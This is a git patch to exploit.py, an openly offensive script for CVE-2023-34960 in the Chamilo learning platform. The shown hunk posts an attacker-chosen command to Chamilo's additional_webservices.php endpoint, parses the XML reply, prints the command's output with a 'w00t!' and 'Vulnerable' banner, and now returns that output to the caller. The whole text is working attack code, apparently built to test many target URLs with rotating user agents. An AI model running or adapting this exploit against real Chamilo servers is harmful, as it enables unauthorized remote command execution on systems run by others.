From bfd3ab54b0d557372403a1793a00bca747eeaeef Mon Sep 17 00:00:00 2001 From: Pari-Malam Date: Tue, 25 Jul 2023 20:48:37 +0800 Subject: [PATCH] Update exploit.py --- exploit.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/exploit.py b/exploit.py index ea5439d..8effee8 100644 --- a/exploit.py +++ b/exploit.py @@ -81,25 +81,26 @@ def chamilo(url, command, user_agents): r = requests.post(f'{url}/main/webservices/additional_webservices.php', data=body, headers=headers, verify=False, timeout=5) except Exception as e: print(f"{FY}[CVE-2023-34960] - {FW}{url} - {FR}[Failed!] - {FC}Invalid {Style.RESET_ALL}") - return False + return None if r.status_code == 200: try: pwned = ET.fromstring(r.text) except ET.ParseError: print(f"{FY}[CVE-2023-34960] - {FW}{url} - {FR}[Failed!] - {FC}Invalid XML Response{Style.RESET_ALL}") - return False + return None tagged = pwned.find('.//return') if tagged is not None: content = tagged.text print(f"{FY}[CVE-2023-34960] - {FW}{url} - {FG}[w00t!] - {FC}Vulnerable: {FW}{content}{Style.RESET_ALL}") + return content else: print(f"{FY}[CVE-2023-34960] - {FW}{url} - {FR}[Failed!] - {FC}Not found on execution. Check manually.{Style.RESET_ALL}") + return None - return content + return None - return False def main():